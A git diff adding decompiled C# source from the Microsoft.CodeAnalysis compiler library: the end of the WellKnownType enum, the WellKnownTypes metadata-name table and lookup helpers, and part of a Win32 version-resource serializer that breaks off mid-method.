Microsoft_CSharp_RuntimeBinder_CSharpBinderFlags = 103, + Microsoft_VisualBasic_CallType = 104, + Microsoft_VisualBasic_Embedded = 105, + Microsoft_VisualBasic_CompilerServices_Conversions = 106, + Microsoft_VisualBasic_CompilerServices_Operators = 107, + Microsoft_VisualBasic_CompilerServices_NewLateBinding = 108, + Microsoft_VisualBasic_CompilerServices_EmbeddedOperators = 109, + Microsoft_VisualBasic_CompilerServices_StandardModuleAttribute = 110, + Microsoft_VisualBasic_CompilerServices_Utils = 111, + Microsoft_VisualBasic_CompilerServices_LikeOperator = 112, + Microsoft_VisualBasic_CompilerServices_ProjectData = 113, + Microsoft_VisualBasic_CompilerServices_ObjectFlowControl = 114, + Microsoft_VisualBasic_CompilerServices_ObjectFlowControl_ForLoopControl = 115, + Microsoft_VisualBasic_CompilerServices_StaticLocalInitFlag = 116, + Microsoft_VisualBasic_CompilerServices_StringType = 117, + Microsoft_VisualBasic_CompilerServices_IncompleteInitialization = 118, + Microsoft_VisualBasic_CompilerServices_Versioned = 119, + Microsoft_VisualBasic_CompareMethod = 120, + Microsoft_VisualBasic_Strings = 121, + Microsoft_VisualBasic_ErrObject = 122, + Microsoft_VisualBasic_FileSystem = 123, + Microsoft_VisualBasic_ApplicationServices_ApplicationBase = 124, + Microsoft_VisualBasic_ApplicationServices_WindowsFormsApplicationBase = 125, + Microsoft_VisualBasic_Information = 126, + Microsoft_VisualBasic_Interaction = 127, + System_Func_T = 128, + System_Func_T2 = 129, + System_Func_T3 = 130, + System_Func_T4 = 131, + System_Func_T5 = 132, + System_Func_T6 = 133, + System_Func_T7 = 134, + System_Func_T8 = 135, + System_Func_T9 = 136, + System_Func_T10 = 137, + System_Func_T11 = 138, + System_Func_T12 = 139, + System_Func_T13 = 140, + System_Func_T14 = 141, + System_Func_T15 = 142, + System_Func_T16 = 143, + System_Func_T17 = 144, + System_Func_TMax = 144, + System_Action = 145, + System_Action_T = 146, + System_Action_T2 = 147, + System_Action_T3 = 148, + System_Action_T4 = 149, + System_Action_T5 = 150, + System_Action_T6 = 151, + System_Action_T7 = 152, + System_Action_T8 = 153, + System_Action_T9 = 154, + System_Action_T10 = 155, + System_Action_T11 = 156, + System_Action_T12 = 157, + System_Action_T13 = 158, + System_Action_T14 = 159, + System_Action_T15 = 160, + System_Action_T16 = 161, + System_Action_TMax = 161, + System_AttributeUsageAttribute = 162, + System_ParamArrayAttribute = 163, + System_NonSerializedAttribute = 164, + System_STAThreadAttribute = 165, + System_Reflection_DefaultMemberAttribute = 166, + System_Runtime_CompilerServices_DateTimeConstantAttribute = 167, + System_Runtime_CompilerServices_DecimalConstantAttribute = 168, + System_Runtime_CompilerServices_IUnknownConstantAttribute = 169, + System_Runtime_CompilerServices_IDispatchConstantAttribute = 170, + System_Runtime_CompilerServices_ExtensionAttribute = 171, + System_Runtime_CompilerServices_INotifyCompletion = 172, + System_Runtime_CompilerServices_InternalsVisibleToAttribute = 173, + System_Runtime_CompilerServices_CompilerGeneratedAttribute = 174, + System_Runtime_CompilerServices_AccessedThroughPropertyAttribute = 175, + System_Runtime_CompilerServices_CompilationRelaxationsAttribute = 176, + System_Runtime_CompilerServices_RuntimeCompatibilityAttribute = 177, + System_Runtime_CompilerServices_UnsafeValueTypeAttribute = 178, + System_Runtime_CompilerServices_FixedBufferAttribute = 179, + System_Runtime_CompilerServices_DynamicAttribute = 180, + System_Runtime_CompilerServices_CallSiteBinder = 181, + System_Runtime_CompilerServices_CallSite = 182, + System_Runtime_CompilerServices_CallSite_T = 183, + System_Runtime_InteropServices_WindowsRuntime_EventRegistrationToken = 184, + System_Runtime_InteropServices_WindowsRuntime_EventRegistrationTokenTable_T = 185, + System_Runtime_InteropServices_WindowsRuntime_WindowsRuntimeMarshal = 186, + Windows_Foundation_IAsyncAction = 187, + Windows_Foundation_IAsyncActionWithProgress_T = 188, + Windows_Foundation_IAsyncOperation_T = 189, + Windows_Foundation_IAsyncOperationWithProgress_T2 = 190, + System_Diagnostics_Debugger = 191, + System_Diagnostics_DebuggerDisplayAttribute = 192, + System_Diagnostics_DebuggerNonUserCodeAttribute = 193, + System_Diagnostics_DebuggerHiddenAttribute = 194, + System_Diagnostics_DebuggerBrowsableAttribute = 195, + System_Diagnostics_DebuggerStepThroughAttribute = 196, + System_Diagnostics_DebuggerBrowsableState = 197, + System_Diagnostics_DebuggableAttribute = 198, + System_Diagnostics_DebuggableAttribute__DebuggingModes = 199, + System_ComponentModel_DesignerSerializationVisibilityAttribute = 200, + System_IEquatable_T = 201, + System_Collections_IList = 202, + System_Collections_ICollection = 203, + System_Collections_Immutable_ImmutableArray_T = 204, + System_Collections_Generic_EqualityComparer_T = 205, + System_Collections_Generic_List_T = 206, + System_Collections_Generic_IDictionary_KV = 207, + System_Collections_Generic_IReadOnlyDictionary_KV = 208, + System_Collections_ObjectModel_Collection_T = 209, + System_Collections_ObjectModel_ReadOnlyCollection_T = 210, + System_Collections_Specialized_INotifyCollectionChanged = 211, + System_ComponentModel_INotifyPropertyChanged = 212, + System_ComponentModel_EditorBrowsableAttribute = 213, + System_ComponentModel_EditorBrowsableState = 214, + System_Linq_Enumerable = 215, + System_Linq_Expressions_Expression = 216, + System_Linq_Expressions_Expression_T = 217, + System_Linq_Expressions_ParameterExpression = 218, + System_Linq_Expressions_ElementInit = 219, + System_Linq_Expressions_MemberBinding = 220, + System_Linq_Expressions_ExpressionType = 221, + System_Linq_IQueryable = 222, + System_Linq_IQueryable_T = 223, + System_Xml_Linq_Extensions = 224, + System_Xml_Linq_XAttribute = 225, + System_Xml_Linq_XCData = 226, + System_Xml_Linq_XComment = 227, + System_Xml_Linq_XContainer = 228, + System_Xml_Linq_XDeclaration = 229, + System_Xml_Linq_XDocument = 230, + System_Xml_Linq_XElement = 231, + System_Xml_Linq_XName = 232, + System_Xml_Linq_XNamespace = 233, + System_Xml_Linq_XObject = 234, + System_Xml_Linq_XProcessingInstruction = 235, + System_Security_UnverifiableCodeAttribute = 236, + System_Security_Permissions_SecurityAction = 237, + System_Security_Permissions_SecurityAttribute = 238, + System_Security_Permissions_SecurityPermissionAttribute = 239, + System_NotSupportedException = 240, + System_Runtime_CompilerServices_ICriticalNotifyCompletion = 241, + System_Runtime_CompilerServices_IAsyncStateMachine = 242, + System_Runtime_CompilerServices_AsyncVoidMethodBuilder = 243, + System_Runtime_CompilerServices_AsyncTaskMethodBuilder = 244, + System_Runtime_CompilerServices_AsyncTaskMethodBuilder_T = 245, + System_Runtime_CompilerServices_AsyncStateMachineAttribute = 246, + System_Runtime_CompilerServices_IteratorStateMachineAttribute = 247, + System_Windows_Forms_Form = 248, + System_Windows_Forms_Application = 249, + System_Environment = 250, + System_Runtime_GCLatencyMode = 251, + System_IFormatProvider = 252, + CSharp7Sentinel = 252, + System_ValueTuple = 253, + System_ValueTuple_T1 = 254, + ExtSentinel = 255, + System_ValueTuple_T2 = 256, + System_ValueTuple_T3 = 257, + System_ValueTuple_T4 = 258, + System_ValueTuple_T5 = 259, + System_ValueTuple_T6 = 260, + System_ValueTuple_T7 = 261, + System_ValueTuple_TRest = 262, + System_Runtime_CompilerServices_TupleElementNamesAttribute = 263, + Microsoft_CodeAnalysis_Runtime_Instrumentation = 264, + Microsoft_CodeAnalysis_Runtime_LocalStoreTracker = 265, + System_Runtime_CompilerServices_NullableAttribute = 266, + System_Runtime_CompilerServices_NullableContextAttribute = 267, + System_Runtime_CompilerServices_NullablePublicOnlyAttribute = 268, + System_Runtime_CompilerServices_ReferenceAssemblyAttribute = 269, + System_Runtime_CompilerServices_IsReadOnlyAttribute = 270, + System_Runtime_CompilerServices_RequiresLocationAttribute = 271, + System_Runtime_CompilerServices_IsByRefLikeAttribute = 272, + System_Runtime_InteropServices_InAttribute = 273, + System_ObsoleteAttribute = 274, + System_Span_T = 275, + System_ReadOnlySpan_T = 276, + System_Runtime_InteropServices_UnmanagedType = 277, + System_Runtime_CompilerServices_IsUnmanagedAttribute = 278, + Microsoft_VisualBasic_Conversion = 279, + System_Runtime_CompilerServices_NonNullTypesAttribute = 280, + System_AttributeTargets = 281, + Microsoft_CodeAnalysis_EmbeddedAttribute = 282, + System_Runtime_CompilerServices_ITuple = 283, + System_Index = 284, + System_Range = 285, + System_Runtime_CompilerServices_AsyncIteratorStateMachineAttribute = 286, + System_IAsyncDisposable = 287, + System_Collections_Generic_IAsyncEnumerable_T = 288, + System_Collections_Generic_IAsyncEnumerator_T = 289, + System_Threading_Tasks_Sources_ManualResetValueTaskSourceCore_T = 290, + System_Threading_Tasks_Sources_ValueTaskSourceStatus = 291, + System_Threading_Tasks_Sources_ValueTaskSourceOnCompletedFlags = 292, + System_Threading_Tasks_Sources_IValueTaskSource_T = 293, + System_Threading_Tasks_Sources_IValueTaskSource = 294, + System_Threading_Tasks_ValueTask_T = 295, + System_Threading_Tasks_ValueTask = 296, + System_Runtime_CompilerServices_AsyncIteratorMethodBuilder = 297, + System_Threading_CancellationToken = 298, + System_Threading_CancellationTokenSource = 299, + System_InvalidOperationException = 300, + System_Runtime_CompilerServices_SwitchExpressionException = 301, + System_Collections_Generic_IEqualityComparer_T = 302, + System_Runtime_CompilerServices_NativeIntegerAttribute = 303, + System_Runtime_CompilerServices_IsExternalInit = 304, + System_Runtime_InteropServices_OutAttribute = 305, + System_Runtime_InteropServices_MemoryMarshal = 306, + System_Runtime_InteropServices_CollectionsMarshal = 307, + System_Runtime_InteropServices_ImmutableCollectionsMarshal = 308, + System_Text_StringBuilder = 309, + System_Runtime_CompilerServices_DefaultInterpolatedStringHandler = 310, + System_Runtime_CompilerServices_ScopedRefAttribute = 311, + System_Runtime_CompilerServices_RefSafetyRulesAttribute = 312, + System_ArgumentNullException = 313, + System_Runtime_CompilerServices_RequiredMemberAttribute = 314, + System_Diagnostics_CodeAnalysis_SetsRequiredMembersAttribute = 315, + System_MemoryExtensions = 316, + System_Runtime_CompilerServices_CompilerFeatureRequiredAttribute = 317, + System_Diagnostics_CodeAnalysis_UnscopedRefAttribute = 318, + System_MissingMethodException = 319, + System_Runtime_CompilerServices_MetadataUpdateOriginalTypeAttribute = 320, + System_Runtime_CompilerServices_Unsafe = 321, + NextAvailable = 322 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WellKnownTypes.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WellKnownTypes.cs new file mode 100644 index 0000000..ade8b75 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WellKnownTypes.cs @@ -0,0 +1,138 @@ +using System.Collections.Generic; +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis; + +internal static class WellKnownTypes +{ + internal const int Count = 275; + + private static readonly string[] s_metadataNames; + + private static readonly Dictionary s_nameToTypeIdMap; + + static WellKnownTypes() + { + s_metadataNames = new string[275] + { + "System.Math", "System.Array", "System.Attribute", "System.CLSCompliantAttribute", "System.Convert", "System.Exception", "System.FlagsAttribute", "System.FormattableString", "System.Guid", "System.IFormattable", + "System.RuntimeTypeHandle", "System.RuntimeFieldHandle", "System.RuntimeMethodHandle", "System.MarshalByRefObject", "System.Type", "System.Reflection.AssemblyKeyFileAttribute", "System.Reflection.AssemblyKeyNameAttribute", "System.Reflection.MethodInfo", "System.Reflection.ConstructorInfo", "System.Reflection.MethodBase", + "System.Reflection.FieldInfo", "System.Reflection.MemberInfo", "System.Reflection.Missing", "System.Runtime.CompilerServices.FormattableStringFactory", "System.Runtime.CompilerServices.RuntimeHelpers", "System.Runtime.ExceptionServices.ExceptionDispatchInfo", "System.Runtime.InteropServices.StructLayoutAttribute", "System.Runtime.InteropServices.UnknownWrapper", "System.Runtime.InteropServices.DispatchWrapper", "System.Runtime.InteropServices.CallingConvention", + "System.Runtime.InteropServices.ClassInterfaceAttribute", "System.Runtime.InteropServices.ClassInterfaceType", "System.Runtime.InteropServices.CoClassAttribute", "System.Runtime.InteropServices.ComAwareEventInfo", "System.Runtime.InteropServices.ComEventInterfaceAttribute", "System.Runtime.InteropServices.ComInterfaceType", "System.Runtime.InteropServices.ComSourceInterfacesAttribute", "System.Runtime.InteropServices.ComVisibleAttribute", "System.Runtime.InteropServices.DispIdAttribute", "System.Runtime.InteropServices.GuidAttribute", + "System.Runtime.InteropServices.InterfaceTypeAttribute", "System.Runtime.InteropServices.Marshal", "System.Runtime.InteropServices.TypeIdentifierAttribute", "System.Runtime.InteropServices.BestFitMappingAttribute", "System.Runtime.InteropServices.DefaultParameterValueAttribute", "System.Runtime.InteropServices.LCIDConversionAttribute", "System.Runtime.InteropServices.UnmanagedFunctionPointerAttribute", "System.Activator", "System.Threading.Tasks.Task", "System.Threading.Tasks.Task`1", + "System.Threading.Interlocked", "System.Threading.Monitor", "System.Threading.Thread", "Microsoft.CSharp.RuntimeBinder.Binder", "Microsoft.CSharp.RuntimeBinder.CSharpArgumentInfo", "Microsoft.CSharp.RuntimeBinder.CSharpArgumentInfoFlags", "Microsoft.CSharp.RuntimeBinder.CSharpBinderFlags", "Microsoft.VisualBasic.CallType", "Microsoft.VisualBasic.Embedded", "Microsoft.VisualBasic.CompilerServices.Conversions", + "Microsoft.VisualBasic.CompilerServices.Operators", "Microsoft.VisualBasic.CompilerServices.NewLateBinding", "Microsoft.VisualBasic.CompilerServices.EmbeddedOperators", "Microsoft.VisualBasic.CompilerServices.StandardModuleAttribute", "Microsoft.VisualBasic.CompilerServices.Utils", "Microsoft.VisualBasic.CompilerServices.LikeOperator", "Microsoft.VisualBasic.CompilerServices.ProjectData", "Microsoft.VisualBasic.CompilerServices.ObjectFlowControl", "Microsoft.VisualBasic.CompilerServices.ObjectFlowControl+ForLoopControl", "Microsoft.VisualBasic.CompilerServices.StaticLocalInitFlag", + "Microsoft.VisualBasic.CompilerServices.StringType", "Microsoft.VisualBasic.CompilerServices.IncompleteInitialization", "Microsoft.VisualBasic.CompilerServices.Versioned", "Microsoft.VisualBasic.CompareMethod", "Microsoft.VisualBasic.Strings", "Microsoft.VisualBasic.ErrObject", "Microsoft.VisualBasic.FileSystem", "Microsoft.VisualBasic.ApplicationServices.ApplicationBase", "Microsoft.VisualBasic.ApplicationServices.WindowsFormsApplicationBase", "Microsoft.VisualBasic.Information", + "Microsoft.VisualBasic.Interaction", "System.Func`1", "System.Func`2", "System.Func`3", "System.Func`4", "System.Func`5", "System.Func`6", "System.Func`7", "System.Func`8", "System.Func`9", + "System.Func`10", "System.Func`11", "System.Func`12", "System.Func`13", "System.Func`14", "System.Func`15", "System.Func`16", "System.Func`17", "System.Action", "System.Action`1", + "System.Action`2", "System.Action`3", "System.Action`4", "System.Action`5", "System.Action`6", "System.Action`7", "System.Action`8", "System.Action`9", "System.Action`10", "System.Action`11", + "System.Action`12", "System.Action`13", "System.Action`14", "System.Action`15", "System.Action`16", "System.AttributeUsageAttribute", "System.ParamArrayAttribute", "System.NonSerializedAttribute", "System.STAThreadAttribute", "System.Reflection.DefaultMemberAttribute", + "System.Runtime.CompilerServices.DateTimeConstantAttribute", "System.Runtime.CompilerServices.DecimalConstantAttribute", "System.Runtime.CompilerServices.IUnknownConstantAttribute", "System.Runtime.CompilerServices.IDispatchConstantAttribute", "System.Runtime.CompilerServices.ExtensionAttribute", "System.Runtime.CompilerServices.INotifyCompletion", "System.Runtime.CompilerServices.InternalsVisibleToAttribute", "System.Runtime.CompilerServices.CompilerGeneratedAttribute", "System.Runtime.CompilerServices.AccessedThroughPropertyAttribute", "System.Runtime.CompilerServices.CompilationRelaxationsAttribute", + "System.Runtime.CompilerServices.RuntimeCompatibilityAttribute", "System.Runtime.CompilerServices.UnsafeValueTypeAttribute", "System.Runtime.CompilerServices.FixedBufferAttribute", "System.Runtime.CompilerServices.DynamicAttribute", "System.Runtime.CompilerServices.CallSiteBinder", "System.Runtime.CompilerServices.CallSite", "System.Runtime.CompilerServices.CallSite`1", "System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken", "System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable`1", "System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal", + "Windows.Foundation.IAsyncAction", "Windows.Foundation.IAsyncActionWithProgress`1", "Windows.Foundation.IAsyncOperation`1", "Windows.Foundation.IAsyncOperationWithProgress`2", "System.Diagnostics.Debugger", "System.Diagnostics.DebuggerDisplayAttribute", "System.Diagnostics.DebuggerNonUserCodeAttribute", "System.Diagnostics.DebuggerHiddenAttribute", "System.Diagnostics.DebuggerBrowsableAttribute", "System.Diagnostics.DebuggerStepThroughAttribute", + "System.Diagnostics.DebuggerBrowsableState", "System.Diagnostics.DebuggableAttribute", "System.Diagnostics.DebuggableAttribute+DebuggingModes", "System.ComponentModel.DesignerSerializationVisibilityAttribute", "System.IEquatable`1", "System.Collections.IList", "System.Collections.ICollection", "System.Collections.Immutable.ImmutableArray`1", "System.Collections.Generic.EqualityComparer`1", "System.Collections.Generic.List`1", + "System.Collections.Generic.IDictionary`2", "System.Collections.Generic.IReadOnlyDictionary`2", "System.Collections.ObjectModel.Collection`1", "System.Collections.ObjectModel.ReadOnlyCollection`1", "System.Collections.Specialized.INotifyCollectionChanged", "System.ComponentModel.INotifyPropertyChanged", "System.ComponentModel.EditorBrowsableAttribute", "System.ComponentModel.EditorBrowsableState", "System.Linq.Enumerable", "System.Linq.Expressions.Expression", + "System.Linq.Expressions.Expression`1", "System.Linq.Expressions.ParameterExpression", "System.Linq.Expressions.ElementInit", "System.Linq.Expressions.MemberBinding", "System.Linq.Expressions.ExpressionType", "System.Linq.IQueryable", "System.Linq.IQueryable`1", "System.Xml.Linq.Extensions", "System.Xml.Linq.XAttribute", "System.Xml.Linq.XCData", + "System.Xml.Linq.XComment", "System.Xml.Linq.XContainer", "System.Xml.Linq.XDeclaration", "System.Xml.Linq.XDocument", "System.Xml.Linq.XElement", "System.Xml.Linq.XName", "System.Xml.Linq.XNamespace", "System.Xml.Linq.XObject", "System.Xml.Linq.XProcessingInstruction", "System.Security.UnverifiableCodeAttribute", + "System.Security.Permissions.SecurityAction", "System.Security.Permissions.SecurityAttribute", "System.Security.Permissions.SecurityPermissionAttribute", "System.NotSupportedException", "System.Runtime.CompilerServices.ICriticalNotifyCompletion", "System.Runtime.CompilerServices.IAsyncStateMachine", "System.Runtime.CompilerServices.AsyncVoidMethodBuilder", "System.Runtime.CompilerServices.AsyncTaskMethodBuilder", "System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1", "System.Runtime.CompilerServices.AsyncStateMachineAttribute", + "System.Runtime.CompilerServices.IteratorStateMachineAttribute", "System.Windows.Forms.Form", "System.Windows.Forms.Application", "System.Environment", "System.Runtime.GCLatencyMode", "System.IFormatProvider", "System.ValueTuple", "System.ValueTuple`1", "", "System.ValueTuple`2", + "System.ValueTuple`3", "System.ValueTuple`4", "System.ValueTuple`5", "System.ValueTuple`6", "System.ValueTuple`7", "System.ValueTuple`8", "System.Runtime.CompilerServices.TupleElementNamesAttribute", "Microsoft.CodeAnalysis.Runtime.Instrumentation", "Microsoft.CodeAnalysis.Runtime.LocalStoreTracker", "System.Runtime.CompilerServices.NullableAttribute", + "System.Runtime.CompilerServices.NullableContextAttribute", "System.Runtime.CompilerServices.NullablePublicOnlyAttribute", "System.Runtime.CompilerServices.ReferenceAssemblyAttribute", "System.Runtime.CompilerServices.IsReadOnlyAttribute", "System.Runtime.CompilerServices.RequiresLocationAttribute", "System.Runtime.CompilerServices.IsByRefLikeAttribute", "System.Runtime.InteropServices.InAttribute", "System.ObsoleteAttribute", "System.Span`1", "System.ReadOnlySpan`1", + "System.Runtime.InteropServices.UnmanagedType", "System.Runtime.CompilerServices.IsUnmanagedAttribute", "Microsoft.VisualBasic.Conversion", "System.Runtime.CompilerServices.NonNullTypesAttribute", "System.AttributeTargets", "Microsoft.CodeAnalysis.EmbeddedAttribute", "System.Runtime.CompilerServices.ITuple", "System.Index", "System.Range", "System.Runtime.CompilerServices.AsyncIteratorStateMachineAttribute", + "System.IAsyncDisposable", "System.Collections.Generic.IAsyncEnumerable`1", "System.Collections.Generic.IAsyncEnumerator`1", "System.Threading.Tasks.Sources.ManualResetValueTaskSourceCore`1", "System.Threading.Tasks.Sources.ValueTaskSourceStatus", "System.Threading.Tasks.Sources.ValueTaskSourceOnCompletedFlags", "System.Threading.Tasks.Sources.IValueTaskSource`1", "System.Threading.Tasks.Sources.IValueTaskSource", "System.Threading.Tasks.ValueTask`1", "System.Threading.Tasks.ValueTask", + "System.Runtime.CompilerServices.AsyncIteratorMethodBuilder", "System.Threading.CancellationToken", "System.Threading.CancellationTokenSource", "System.InvalidOperationException", "System.Runtime.CompilerServices.SwitchExpressionException", "System.Collections.Generic.IEqualityComparer`1", "System.Runtime.CompilerServices.NativeIntegerAttribute", "System.Runtime.CompilerServices.IsExternalInit", "System.Runtime.InteropServices.OutAttribute", "System.Runtime.InteropServices.MemoryMarshal", + "System.Runtime.InteropServices.CollectionsMarshal", "System.Runtime.InteropServices.ImmutableCollectionsMarshal", "System.Text.StringBuilder", "System.Runtime.CompilerServices.DefaultInterpolatedStringHandler", "System.Runtime.CompilerServices.ScopedRefAttribute", "System.Runtime.CompilerServices.RefSafetyRulesAttribute", "System.ArgumentNullException", "System.Runtime.CompilerServices.RequiredMemberAttribute", "System.Diagnostics.CodeAnalysis.SetsRequiredMembersAttribute", "System.MemoryExtensions", + "System.Runtime.CompilerServices.CompilerFeatureRequiredAttribute", "System.Diagnostics.CodeAnalysis.UnscopedRefAttribute", "System.MissingMethodException", "System.Runtime.CompilerServices.MetadataUpdateOriginalTypeAttribute", "System.Runtime.CompilerServices.Unsafe" + }; + s_nameToTypeIdMap = new Dictionary(275); + for (int i = 0; i < s_metadataNames.Length; i++) + { + string key = s_metadataNames[i]; + WellKnownType value = (WellKnownType)(i + 47); + s_nameToTypeIdMap.Add(key, value); + } + } + + [Conditional("DEBUG")] + private static void AssertEnumAndTableInSync() + { + for (int i = 0; i < s_metadataNames.Length; i++) + { + string text = s_metadataNames[i]; + WellKnownType wellKnownType = (WellKnownType)(i + 47); + string text2 = wellKnownType switch + { + WellKnownType.First => "System.Math", + WellKnownType.Microsoft_VisualBasic_CompilerServices_ObjectFlowControl_ForLoopControl => "Microsoft.VisualBasic.CompilerServices.ObjectFlowControl+ForLoopControl", + WellKnownType.System_IFormatProvider => "System.IFormatProvider", + WellKnownType.ExtSentinel => "", + _ => wellKnownType.ToString().Replace("__", "+").Replace('_', '.'), + }; + int num = text.IndexOf('`'); + if (num >= 0) + { + text = text.Substring(0, num); + text2 = text2.Substring(0, num); + } + } + } + + public static bool IsWellKnownType(this WellKnownType typeId) + { + if (typeId >= WellKnownType.First) + { + return typeId < WellKnownType.NextAvailable; + } + return false; + } + + public static bool IsValueTupleType(this WellKnownType typeId) + { + if (typeId >= WellKnownType.System_ValueTuple) + { + return typeId <= WellKnownType.System_ValueTuple_TRest; + } + return false; + } + + public static bool IsValid(this WellKnownType typeId) + { + if (typeId >= WellKnownType.First && typeId < WellKnownType.NextAvailable) + { + return typeId != WellKnownType.ExtSentinel; + } + return false; + } + + public static string GetMetadataName(this WellKnownType id) + { + return s_metadataNames[(int)(id - 47)]; + } + + public static WellKnownType GetTypeFromMetadataName(string metadataName) + { + if (s_nameToTypeIdMap.TryGetValue(metadataName, out var value)) + { + return value; + } + return WellKnownType.Unknown; + } + + internal static WellKnownType GetWellKnownFunctionDelegate(int invokeArgumentCount) + { + if (invokeArgumentCount > 16) + { + return WellKnownType.Unknown; + } + return (WellKnownType)(128 + invokeArgumentCount); + } + + internal static WellKnownType GetWellKnownActionDelegate(int invokeArgumentCount) + { + if (invokeArgumentCount > 16) + { + return WellKnownType.Unknown; + } + return (WellKnownType)(145 + invokeArgumentCount); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Win32ResourceConversions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Win32ResourceConversions.cs new file mode 100644 index 0000000..083a2e2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Win32ResourceConversions.cs @@ -0,0 +1,389 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; + +namespace Microsoft.CodeAnalysis; + +internal static class Win32ResourceConversions +{ + private struct ICONDIRENTRY + { + internal byte bWidth; + + internal byte bHeight; + + internal byte bColorCount; + + internal byte bReserved; + + internal ushort wPlanes; + + internal ushort wBitCount; + + internal uint dwBytesInRes; + + internal uint dwImageOffset; + } + + private class VersionResourceSerializer + { + private readonly string? _commentsContents; + + private readonly string? _companyNameContents; + + private readonly string _fileDescriptionContents; + + private readonly string _fileVersionContents; + + private readonly string _internalNameContents; + + private readonly string _legalCopyrightContents; + + private readonly string? _legalTrademarksContents; + + private readonly string _originalFileNameContents; + + private readonly string? _productNameContents; + + private readonly string _productVersionContents; + + private readonly Version _assemblyVersionContents; + + private const string vsVersionInfoKey = "VS_VERSION_INFO"; + + private const string varFileInfoKey = "VarFileInfo"; + + private const string translationKey = "Translation"; + + private const string stringFileInfoKey = "StringFileInfo"; + + private readonly string _langIdAndCodePageKey; + + private const uint CP_WINUNICODE = 1200u; + + private const ushort sizeVS_FIXEDFILEINFO = 52; + + private readonly bool _isDll; + + private const uint VFT_APP = 1u; + + private const uint VFT_DLL = 2u; + + private const int HDRSIZE = 6; + + private uint FileType + { + get + { + if (!_isDll) + { + return 1u; + } + return 2u; + } + } + + internal VersionResourceSerializer(bool isDll, string? comments, string? companyName, string fileDescription, string fileVersion, string internalName, string legalCopyright, string? legalTrademark, string originalFileName, string? productName, string productVersion, Version assemblyVersion) + { + _isDll = isDll; + _commentsContents = comments; + _companyNameContents = companyName; + _fileDescriptionContents = fileDescription; + _fileVersionContents = fileVersion; + _internalNameContents = internalName; + _legalCopyrightContents = legalCopyright; + _legalTrademarksContents = legalTrademark; + _originalFileNameContents = originalFileName; + _productNameContents = productName; + _productVersionContents = productVersion; + _assemblyVersionContents = assemblyVersion; + _langIdAndCodePageKey = $"{0:x4}{1200u:x4}"; + } + + private IEnumerable> GetVerStrings() + { + if (_commentsContents != null) + { + yield return new KeyValuePair("Comments", _commentsContents); + } + if (_companyNameContents != null) + { + yield return new KeyValuePair("CompanyName", _companyNameContents); + } + if (_fileDescriptionContents != null) + { + yield return new KeyValuePair("FileDescription", _fileDescriptionContents); + } + yield return new KeyValuePair("FileVersion", _fileVersionContents); + if (_internalNameContents != null) + { + yield return new KeyValuePair("InternalName", _internalNameContents); + } + if (_legalCopyrightContents != null) + { + yield return new KeyValuePair("LegalCopyright", _legalCopyrightContents); + } + if (_legalTrademarksContents != null) + { + yield return new KeyValuePair("LegalTrademarks", _legalTrademarksContents); + } + if (_originalFileNameContents != null) + { + yield return new KeyValuePair("OriginalFilename", _originalFileNameContents); + } + if (_productNameContents != null) + { + yield return new KeyValuePair("ProductName", _productNameContents); + } + yield return new KeyValuePair("ProductVersion", _productVersionContents); + if (_assemblyVersionContents != null) + { + yield return new KeyValuePair("Assembly Version", _assemblyVersionContents.ToString()); + } + } + + private void WriteVSFixedFileInfo(BinaryWriter writer) + { + VersionHelper.TryParse(_fileVersionContents, out Version version); + VersionHelper.TryParse(_productVersionContents, out Version version2); + writer.Write(4277077181u); + writer.Write(65536u); + writer.Write((uint)((version.Major << 16) | version.Minor)); + writer.Write((uint)((version.Build << 16) | version.Revision)); + writer.Write((uint)((version2.Major << 16) | version2.Minor)); + writer.Write((uint)((version2.Build << 16) | version2.Revision)); + writer.Write(63u); + writer.Write(0u); + writer.Write(4u); + writer.Write(FileType); + writer.Write(0u); + writer.Write(0u); + writer.Write(0u); + } + + private static int PadKeyLen(int cb) + { + return PadToDword(cb + 6) - 6; + } + + private static int PadToDword(int cb) + { + return (cb + 3) & -4; + } + + private static ushort SizeofVerString(string lpszKey, string lpszValue) + { + int cb = (lpszKey.Length + 1) * 2; + int num = (lpszValue.Length + 1) * 2; + return checked((ushort)(PadKeyLen(cb) + num + 6)); + } + + private static void WriteVersionString(KeyValuePair keyValuePair, BinaryWriter writer) + { + ushort value = SizeofVerString(keyValuePair.Key, keyValuePair.Value); + int num = (keyValuePair.Key.Length + 1) * 2; + _ = keyValuePair.Value.Length; + _ = writer.BaseStream.Position; + writer.Write(value); + writer.Write((ushort)(keyValuePair.Value.Length + 1)); + writer.Write((ushort)1); + writer.Write(keyValuePair.Key.ToCharArray()); + writer.Write((ushort)0); + writer.Write(new byte[PadKeyLen(num) - num]); + writer.Write(keyValuePair.Value.ToCharArray()); + writer.Write((ushort)0); + } + + private static int KEYSIZE(string sz) + { + return PadKeyLen((sz.Length + 1) * 2) / 2; + } + + private static int KEYBYTES(string sz) + { + return KEYSIZE(sz) * 2; + } + + private int GetStringsSize() + { + int num = 0; + foreach (KeyValuePair verString in GetVerStrings()) + { + num = (num + 3) & -4; + num += SizeofVerString(verString.Key, verString.Value); + } + return num; + } + + internal int GetDataSize() + { + int num = 34 + KEYBYTES("VS_VERSION_INFO") + KEYBYTES("VarFileInfo") + KEYBYTES("Translation") + KEYBYTES("StringFileInfo") + KEYBYTES(_langIdAndCodePageKey) + 52; + return GetStringsSize() + num; + } + + internal void WriteVerResource(BinaryWriter writer) + { + _ = writer.BaseStream.Position; + int dataSize = GetDataSize(); + writer.Write((ushort)dataSize); + writer.Write((ushort)52); + writer.Write((ushort)0); + writer.Write("VS_VERSION_INFO".ToCharArray()); + writer.Write(new byte[KEYBYTES("VS_VERSION_INFO") - "VS_VERSION_INFO".Length * 2]); + WriteVSFixedFileInfo(writer); + writer.Write((ushort)(16 + KEYBYTES("VarFileInfo") + KEYBYTES("Translation"))); + writer.Write((ushort)0); + 